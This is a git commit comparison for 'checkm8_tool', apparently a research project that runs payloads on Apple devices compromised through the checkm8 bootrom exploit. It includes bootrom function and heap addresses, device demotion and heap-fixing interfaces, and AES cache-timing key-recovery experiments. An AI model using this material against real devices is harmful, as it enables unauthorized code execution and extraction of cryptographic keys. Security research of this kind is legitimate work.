Compare commits

...

58 Commits

Author SHA1 Message Date
4553174961 Restructured payloads into folders 2020-03-12 12:58:50 -04:00
832009c83c add some addresses for tasking 2020-03-12 12:58:19 -04:00
53436a5719 fix a copy/paste bug 2020-03-11 13:20:40 -04:00
621debcea3 Improve heap fixing (works now to get iBoot!) 2020-03-10 20:31:31 -04:00
d77df9b994 Reorder AES data 2020-03-10 20:31:03 -04:00
e844e2df34 Add a tool to verify that pairwise data maps to bernstein 2020-03-07 18:44:13 -05:00
4b361cccea correlation bugfixes 2020-03-05 10:28:05 -05:00
4de34e213e finish batch script 2020-03-03 16:13:04 -05:00
c058278f6f Add tool to analyze data 2020-03-03 16:04:39 -05:00
0a00de38a5 whoops 2020-02-28 16:52:13 -05:00
77641d45be fix file modes 2020-02-28 16:49:17 -05:00
55c1f08046 clean up 2020-02-28 16:30:01 -05:00
662c228b7e add a stripping tool and a random key experiment 2020-02-28 16:28:13 -05:00
0320e5cea7 fix key 2020-02-27 18:42:26 -05:00
938cbe044b fix 2gb file limit 2020-02-27 18:34:27 -05:00
a9550de75a Cleaned up headers 2020-02-27 16:17:11 -05:00
aff4be3a65 Make crypto lib naming more consistent 2020-02-27 16:17:11 -05:00
8cca9a2930 Correctly link shared crypto_dev library 2020-02-27 16:17:11 -05:00
a5d1121675 lots of changes, some project restructuring and a new experiment 2020-02-27 16:17:11 -05:00
1bd577596b Greatly improve experiments 2020-02-27 10:23:21 -05:00
bf6153062d change key for a new round of experiments 2020-02-25 20:18:09 -05:00
d0af1d9819 fix spacing 2020-02-25 09:40:14 -05:00
6462401fee wait for longer between queries 2020-02-25 09:13:58 -05:00
3334ccd17e more readable like this 2020-02-24 16:47:08 -05:00
3adc4c2e72 report actual count 2020-02-24 16:18:10 -05:00
df40cc6970 some bugfixes and changes for a longer term experiment 2020-02-24 16:17:01 -05:00
6ec02145b3 implemented bernstein-based aes timing experiment 2020-02-24 15:03:02 -05:00
14ffb6b7c3 updated payloads to use new bootrom types 2020-02-24 15:02:41 -05:00
a66ff906bd added to the bootrom libraries 2020-02-24 15:02:05 -05:00
db97653fc2 modify AES experiment to replicate bernstein 2020-02-23 20:25:51 -05:00
94fe326afb add function to get ticks instead of time 2020-02-23 20:25:20 -05:00
a5995cd4aa add some experiments with the cache 2020-02-23 20:24:51 -05:00
eb225122e5 explicitly check if these files open 2020-02-19 17:14:01 -05:00
29b4c63ffd fixed some unknown values which are actually known 2020-02-19 16:48:01 -05:00
d8a22d5e34 updates for testing 2020-02-19 14:29:45 -05:00
ghaas
60dd861370 Merge pull request #1 from ghaas/ardflag
Ardflag
2020-02-17 15:48:34 -05:00
d04b884487 Copy over some adjustments from other branch ... overwrite 2020-02-17 15:37:57 -05:00
34703b958e Undo arduino incorporation (dumb) 2020-02-12 14:40:36 -05:00
ab93d72633 Finally incorporated arduino code into main program (somewhat) 2020-02-11 21:27:14 -05:00
059461ccbd fixed an async payload bug and implemented an async floppysleep (works!) 2020-02-11 20:52:23 -05:00
3e64bd8bab added a function to fix the heap 2020-02-11 20:51:50 -05:00
a6ddec511a improved generic payload entry point 2020-02-11 20:51:04 -05:00
33f3ab9a0d fix segfault 2020-02-11 15:41:31 -05:00
823c914e84 better data housekeeping since we're using the on-device heap now... don't want to leave a mess 2020-02-11 15:34:47 -05:00
8b25a00bd4 synchronous payloads seem to work well 2020-02-11 15:10:35 -05:00
d407c17c0f implement basics of async execution (still need to test) 2020-02-11 14:38:53 -05:00
637fd548f5 Added a generic payload entry point to support async execution 2020-02-11 14:38:21 -05:00
80fd4f6b4c Some restructuring for libbootrom 2020-02-11 14:37:32 -05:00
bd4c9b8196 heavily restructured libpayload, more integrated with c8_remote now 2020-02-11 09:56:37 -05:00
983ad0ad29 more device pointers 2020-02-10 19:42:25 -05:00
5143528433 add explicit type for device pointers 2020-02-10 19:39:35 -05:00
0e094be537 some changes, preparing for async 2020-02-10 19:02:30 -05:00
Gregor Haas
200865c8a6 Added demotion module 2020-02-10 14:07:53 -05:00
Gregor Haas
1423f51aef Added test pongo module 2020-02-10 13:55:42 -05:00
5c8579c913 some fixes 2020-02-09 12:53:25 -05:00
cd3eb5edf0 Add dynamic allocation 2020-02-09 12:29:55 -05:00
79d3b72d15 Added demotion capability 2020-02-09 11:12:04 -05:00
e341d51bf9 payload changes 2020-02-09 11:11:42 -05:00
65 changed files with 2963 additions and 575 deletions

3
.gitignore vendored
View File

@@ -1,9 +1,10 @@
# configuration files
.idea/*
data/
# build directories
cmake-build-debug/
/c8_arduino/cmake-build-debug/
# generated files
/c8_remote/include/libpayload.h
/c8_remote/include/tool/libpayload.h

View File

@@ -1,9 +1,11 @@
cmake_minimum_required(VERSION 3.10)
project(checkm8_tool)
enable_language(C)
enable_language(C ASM)
include_directories(include)
#add_subdirectory(c8_arduino)
# set up checkm8_remote
add_subdirectory(c8_remote)
add_subdirectory(c8_libpayload)
# targets for external tools
add_subdirectory(tools)

View File

@@ -1,24 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_AES_H
#define CHECKM8_TOOL_BRFUNC_AES_H
#include "brfunc_common.h"
int aes_hw_crypto_cmd(unsigned long long cmd,
unsigned char *src, unsigned char *dst,
int len, unsigned long long opts,
unsigned char *key, unsigned char *iv)
{
return ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)(cmd, src, dst, len, opts, key, iv);
}
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
#define PUSH_COMMAND_DATA ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_DATA)
#define PUSH_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_FLAG)
#define WAIT_FOR_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_WAIT_FOR_COMMAND)
#define rAES_INT_STATUS (long *) ADDR_AES_CONTROL
#define rAES_CONTROL (long *) ADDR_AES_STATUS
#endif //CHECKM8_TOOL_BRFUNC_AES_H

View File

@@ -1,40 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_COMMON_H
#define CHECKM8_TOOL_BRFUNC_COMMON_H
#include "checkm8_config.h"
typedef int (*BOOTROM_FUNC)();
typedef unsigned char (*(*BOOTROM_FUNC_PTR)());
#if CHECKM8_PLATFORM == 8010
/* AES */
#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
#define ADDR_PUSH_COMMAND_IV 0x100000d18
#define ADDR_PUSH_COMMAND_DATA 0x100000d98
#define ADDR_PUSH_COMMAND_FLAG 0x100000e20
#define ADDR_WAIT_FOR_COMMAND 0x100000ec4
#define ADDR_AES_CONTROL 0x20A108008
#define ADDR_AES_STATUS 0x20A108018
/* SEP */
#define ADDR_DPA_SEEDED 0x100001140
#define ADDR_SEND_DPA_MESSAGE 0x100002338
/* Timing */
#define ADDR_CLOCK_GATE 0x100009d4c
#define ADDR_SYSTEM_TIME 0x10000B0E0
#define ADDR_TIME_HAS_ELAPSED 0x10000B04F
#define ADDR_TASK_SLEEP 0x10000ADF0
/* Boot */
#define ADDR_NVME_INIT 0x1000080B4
#else
#error "Unsupported checkm8 platform"
#endif
#endif //CHECKM8_TOOL_BRFUNC_COMMON_H

View File

@@ -1,9 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_SEP_H
#define CHECKM8_TOOL_BRFUNC_SEP_H
#include "brfunc_common.h"
#define DPA_SEEDED ((BOOTROM_FUNC) ADDR_DPA_SEEDED)
#define SEP_CREATE_SEND_DPA_MESSAGE ((BOOTROM_FUNC) ADDR_SEND_DPA_MESSAGE)
#endif //CHECKM8_TOOL_BRFUNC_SEP_H

View File

@@ -1,10 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_TIMING_H
#define CHECKM8_TOOL_BRFUNC_TIMING_H
#include "brfunc_common.h"
#define CLOCK_GATE ((BOOTROM_FUNC) ADDR_CLOCK_GATE)
#define SYSTEM_TIME ((BOOTROM_FUNC) ADDR_SYSTEM_TIME)
#define TIME_HAS_ELAPSED ((BOOTROM_FUNC) ADDR_TIME_HAS_ELAPSED)
#endif //CHECKM8_TOOL_BRFUNC_TIMING_H

View File

@@ -1,7 +0,0 @@
#ifndef CHECKM8_TOOL_UTIL_H
#define CHECKM8_TOOL_UTIL_H
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
#define TEXT_SECTION __attribute__((section (".text")))
#endif //CHECKM8_TOOL_UTIL_H

View File

@@ -1,59 +0,0 @@
#include "brfunc_aes.h"
#include "brfunc_timing.h"
#include "brfunc_sep.h"
#include "util.h"
PAYLOAD_SECTION
int aes_hw_crypto_command(unsigned int cmd,
void *src,
void *dst,
int len,
unsigned int opts,
void *key,
void *iv)
{
int seeded;
long cgvar;
long start = 0, timeout = 0;
__asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
CLOCK_GATE(cgvar, 0);
// seeded = DPA_SEEDED();
// if(!(seeded & 1))
// {
// SEP_CREATE_SEND_DPA_MESSAGE();
// start = SYSTEM_TIME();
//
// while(!(seeded & 1) && !(timeout & 1))
// {
// seeded = DPA_SEEDED();
// timeout = TIME_HAS_ELAPSED(start, 1000);
// }
// }
//
// if(timeout) return -1;
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
*rAES_INT_STATUS = 0x20;
*rAES_CONTROL = 1;
PUSH_COMMAND_KEY(key_command, key);
PUSH_COMMAND_IV(0, 0, 0, iv);
PUSH_COMMAND_DATA(0, 0, src, dst, len);
PUSH_COMMAND_FLAG(0, 1, 1);
WAIT_FOR_COMMAND_FLAG();
*rAES_CONTROL = 2;
CLOCK_GATE(cgvar, 0);
return 0;
}
TEXT_SECTION
int _start(void *src,
void *dst,
void *key)
{
return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
}

View File

@@ -1,25 +0,0 @@
#include "util.h"
#include "brfunc_aes.h"
#include "brfunc_timing.h"
TEXT_SECTION
int _start(void *src, void *dst, void *key, int rep)
{
int i, j;
unsigned char src_data[16];
for(j = 0; j < 16; j++)
{
src_data[j] = ((unsigned char *) src)[j];
}
// task_sleep(100);
for(i = 0; i < rep; i++)
{
if(i % 2 == 0) aes_hw_crypto_cmd(16, src_data, dst, 16, 0, key, 0);
else aes_hw_crypto_cmd(16, dst, src_data, 16, 0, key, 0);
// task_sleep(15);
}
return 0;
}

View File

@@ -1,26 +0,0 @@
#include "util.h"
TEXT_SECTION
unsigned long long _start()
{
// unsigned long long platform_quiesce_hardware = 0x100007dd0;
// unsigned long long enter_critical_section = 0x10000a4b8;
// unsigned long long halt = 0x1000004fc;
// unsigned long long timer_deadline_enter = 0x10000b874;
// unsigned long long now, later;
//
// ((BOOTROM_FUNC) platform_quiesce_hardware)();
// //((BOOTROM_FUNC) enter_critical_section)();
//
// __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (now));
// ((BOOTROM_FUNC) timer_deadline_enter)(now + (24000000) - 64, ((BOOTROM_FUNC) 0x10000b924));
// ((BOOTROM_FUNC) halt)();
// __asm__ volatile ("mrs %0, cntpct_el0" : "=r" (later));
volatile unsigned long long regval = 0xffff;
__asm__ volatile ("mrs %0, fpcr" : "=r" (regval));
regval = (1u << 24u);
__asm__ volatile ("msr fpcr, %0" : "=r" (regval));
return regval;
}

View File

@@ -1,47 +0,0 @@
#include "brfunc_common.h"
#include "util.h"
extern unsigned long long fs_routine(void);
extern unsigned long long fs_load(float *dividend, int divisor_base);
// extern unsigned long long check_subnormal();
PAYLOAD_SECTION
unsigned int is_subnormal(float val)
{
unsigned int bytes = *((unsigned int *) &val);
bytes = bytes >> 23u;
if(bytes & 0x7u)
{
return 0;
}
else return 1;
}
TEXT_SECTION
unsigned long long _start(float *init_a)
{
int i;
unsigned long long start, end, report;
unsigned long long timer_deadline_enter = 0x10000b874;
unsigned long long halt = 0x1000004fc;
while(1)
{
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (start));
fs_load(init_a, 1);
for(i = 0; i < 8; i++) fs_routine();
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (end));
if(2 * end - start - 64 > 0)
{
((BOOTROM_FUNC) timer_deadline_enter)(2 * end - start - 64, ((BOOTROM_FUNC) 0x10000b924));
((BOOTROM_FUNC) halt)();
}
}
__asm__ volatile ("isb\n\rmrs %0, cntpct_el0" : "=r" (report));
return report - end;
}

View File

@@ -1,10 +0,0 @@
#include "util.h"
TEXT_SECTION
void _start()
{
__asm__("dmb sy");
__asm__("ic iallu");
__asm__("dsb sy");
__asm__("isb");
}

View File

@@ -1,17 +0,0 @@
#include "util.h"
struct sysregs
{
long pt_base;
long evt_base;
};
TEXT_SECTION
long long _start()
{
struct sysregs res;
__asm__("mrs %0, ttbr0_el1" : "=r" (res.pt_base));
__asm__("mrs %0, vbar_el1" : "=r" (res.evt_base));
return res.pt_base;
}

View File

@@ -1,20 +0,0 @@
#include "util.h"
#include "brfunc_common.h"
PAYLOAD_SECTION
void task_sleep(unsigned int usec)
{
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
}
TEXT_SECTION
unsigned long long _start(unsigned int usec)
{
unsigned long long start, end;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
task_sleep(usec);
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
return end - start;
}

View File

@@ -5,6 +5,8 @@ set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall")
include_directories(include)
add_subdirectory(lib)
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
target_link_libraries(checkm8_remote usb-1.0 pthread udev payload)
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
target_link_libraries(checkm8_remote payload experiments host_crypto)

View File

@@ -19,6 +19,7 @@
#define DEV_IDVENDOR 0x05AC
#define DEV_IDPRODUCT 0x1227
#define DFU_IMAGE_BASE 0x1800B0000ull
#define DEMOTE_REG 0x2102BC000ull
#else
#error "Unspported checkm8 platform"
@@ -35,7 +36,8 @@ struct pwned_device
unsigned int idVendor;
unsigned int idProduct;
struct payload *installed;
struct payload *inst_pl;
struct data *inst_data;
#ifdef WITH_ARDUINO
int ard_fd;
@@ -44,7 +46,25 @@ struct pwned_device
#endif
};
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned long long retval;
unsigned char *data;
int len;
};
struct pwned_device *exploit_device();
void free_device(struct pwned_device *dev);
int demote_device(struct pwned_device *dev);
int fix_heap(struct pwned_device *dev);
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_CHECKM8_H

View File

@@ -1,26 +0,0 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned long long retval;
unsigned char *data;
int len;
};
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,63 @@
#ifndef CHECKM8_TOOL_ADDR_H
#define CHECKM8_TOOL_ADDR_H
#include "checkm8_config.h"
#include "types.h"
#if CHECKM8_PLATFORM == 8010
/* Crypto */
#define ADDR_HARDWARE_AES 0x100000f0c
#define ADDR_GET_RANDOM 0x1000113e0
#define ADDR_GET_ENTROPY 0x1000013d4
#define ADDR_SHA1 0x10000cc90
/* Timing */
#define ADDR_CLOCK_GATE 0x100009d4c
#define ADDR_GET_TIME 0x10000b0e0
#define ADDR_GET_TICKS 0x10000041c
#define ADDR_TIMER_REGISTER_INT 0x10000b874
#define ADDR_WFI 0x1000004fc
/* Tasking */
#define ADDR_TASK_NEW 0x10000a9ac
#define ADDR_TASK_RUN 0x10000ac18
#define ADDR_TASK_PAUSE 0x10000adf0
#define ADDR_TASK_RESCHED 0x10000aaa8
#define ADDR_TASK_FREE 0x10000aa20
#define ADDR_EVENT_NEW 0x10000aed4
#define ADDR_EVENT_NOTIFY 0x10000aee8
#define ADDR_EVENT_WAIT 0x10000af3c
#define ADDR_EVENT_TRY 0x10000af7c
#define ADDR_BOOTSTRAP_TASK 0x180080200
/* Heap */
#define ADDR_CALC_CHKSUM 0x10000ee20
#define ADDR_CHECK_BLOCK_CKSUM 0x10000f138
#define ADDR_CHECK_ALL_CHKSUMS 0x10000f8b4
#define ADDR_DEV_MALLOC 0x10000efe0
#define ADDR_DEV_MEMALIGN 0x10000f380
#define ADDR_DEV_FREE 0x10000f1b0
#define ADDR_HEAP_COOKIE 0x180080640
#define ADDR_HEAP_BASE 0x1801b4000
#define ADDR_HEAP_END 0x1801fffc0
/* Misc */
#define ADDR_RANDOM_RET 0x10000b924
#define ADDR_SYNC_ENTRY 0x1800afc84
#define ADDR_GETDFU_EXIT 0x1000006c8
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
#define ADDR_DFU_EVENT (struct event *) 0x180088af0
#define ADDR_USB_EVENT (struct event *) 0x1800838c8
#else
#error "Unsupported checkm8 platform"
#endif
#endif //CHECKM8_TOOL_ADDR_H

View File

@@ -0,0 +1,62 @@
#ifndef CHECKM8_TOOL_TYPES_H
#define CHECKM8_TOOL_TYPES_H
struct event
{
unsigned int dat0;
unsigned int dat1;
unsigned long long dat2;
unsigned long long dat3;
} __attribute__ ((packed));
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char mul2[256];
unsigned char mul3[256];
unsigned char rc_lookup[11];
} __attribute__ ((packed));
struct heap_header
{
unsigned long long chksum;
unsigned long long pad[3];
unsigned long long curr_size;
unsigned long long curr_free : 1;
unsigned long long prev_free : 1;
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
unsigned long long pad_start;
unsigned long long pad_end;
} __attribute__ ((packed));
struct bern_data
{
double t[16][256];
double tsq[16][256];
double tnum[16][256];
unsigned long long count;
double ttotal;
struct event ev_data;
struct event ev_done;
} __attribute__ ((packed));
#define N_CORR_ENTRIES 1024*256
struct corr_data
{
struct event ev_cont;
int num_cutoff;
unsigned char msg[16];
unsigned char data[N_CORR_ENTRIES];
};
#define DEV_PTR_NULL -1ull
typedef unsigned long long DEV_PTR_T;
#endif //CHECKM8_TOOL_TYPES_H

View File

@@ -1,32 +0,0 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
typedef enum
{
PAYLOAD_AES,
PAYLOAD_AES_BUSY,
PAYLOAD_AES_SW,
PAYLOAD_BOOTSTRAP,
PAYLOAD_FLOPPYSLEEP,
PAYLOAD_SYNC,
PAYLOAD_SYSREG,
PAYLOAD_TASK_SLEEP_TEST
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len);
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -0,0 +1,15 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,43 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
#include "dev/types.h"
typedef enum
{
PAYLOAD_AES_BUSY,
PAYLOAD_AES_SW_BERN,
PAYLOAD_AES_SW_CORR,
PAYLOAD_CACHELIB,
PAYLOAD_EXIT_USB_TASK,
PAYLOAD_FLOPPYSLEEP,
PAYLOAD_SYNC,
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
int uninstall_all_payloads(struct pwned_device *dev);
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
int uninstall_all_data(struct pwned_device *dev);
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -15,10 +15,6 @@ struct libusb_device_bundle
};
#endif
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
int partial_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,

View File

@@ -0,0 +1,21 @@
#ifndef CHECKM8_TOOL_EXPERIMENTS_H
#define CHECKM8_TOOL_EXPERIMENTS_H
#include "tool/payload.h"
#include "dev/types.h"
/* AES Software */
DEV_PTR_T setup_bern_exp(struct pwned_device *dev);
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key);
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
/* System */
void usb_task_exit(struct pwned_device *dev);
/* Power */
void floppysleep(struct pwned_device *dev);
void floppysleep_async(struct pwned_device *dev);
#endif //CHECKM8_TOOL_EXPERIMENTS_H

View File

@@ -0,0 +1,14 @@
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
#define CHECKM8_TOOL_HOST_CRYPTO_H
#include "dev/types.h"
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
struct aes_constants *get_constants();
#endif //CHECKM8_TOOL_HOST_CRYPTO_H

View File

@@ -1,35 +1,39 @@
project(checkm8_libpayload)
set(PL_NAMES
aes
aes_busy
aes_sw
bootstrap
floppysleep
sync
sysreg
task_sleep_test)
crypto:aes_busy
crypto:aes_sw_bern
crypto:aes_sw_corr
system:cachelib
system:exit_usb_task
system:init_sys
system:sync
power:floppysleep
)
foreach(NAME ${PL_NAMES})
list(APPEND PL_TARGETS "payload_${NAME}")
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/pl/src/${NAME}.c")
string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
list(APPEND PL_TARGETS "payload_${NAME_ONLY}")
endforeach(NAME)
message("${PL_TARGETS}")
foreach(TARGET ${PL_TARGETS})
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib/${TARGET}.c")
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/pl/bin/${TARGET}.bin")
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles/${TARGET}.c")
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/payload/bin/${TARGET}.bin")
endforeach(TARGET)
add_subdirectory(pl)
set(CMAKE_C_FLAGS "-g -Wall")
add_subdirectory(${CMAKE_CURRENT_LIST_DIR}/payload)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
add_custom_target(payload_sources
BYPRODUCTS ${PL_SRC_LIB}
DEPENDS ${PL_TARGETS}
COMMENT "Refreshing payload library"
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/librarize.py
${CMAKE_CURRENT_BINARY_DIR}/pl/bin
${CMAKE_CURRENT_BINARY_DIR}/lib)
${CMAKE_CURRENT_BINARY_DIR}/payload/bin
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
add_library(payload ${PL_SRC_LIB})
add_dependencies(payload payload_sources)
@@ -37,5 +41,10 @@ add_dependencies(payload payload_sources)
add_custom_command(TARGET payload POST_BUILD
BYPRODUCTS ${CMAKE_SOURCE_DIR}/c8_remote/include/libpayload.h
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/headerize.py
${CMAKE_CURRENT_BINARY_DIR}/lib
${CMAKE_SOURCE_DIR}/c8_remote/include)
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles
${CMAKE_SOURCE_DIR}/c8_remote/include/tool)
add_library(experiments experiments/crypto.c
experiments/system.c
experiments/power.c)
add_library(host_crypto crypto/aes_sw_impl.c crypto/aes_sw_host.c)

View File

@@ -0,0 +1,78 @@
#include <stdlib.h>
#include <string.h>
#include "dev/types.h"
static const unsigned char sbox[256] =
{
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
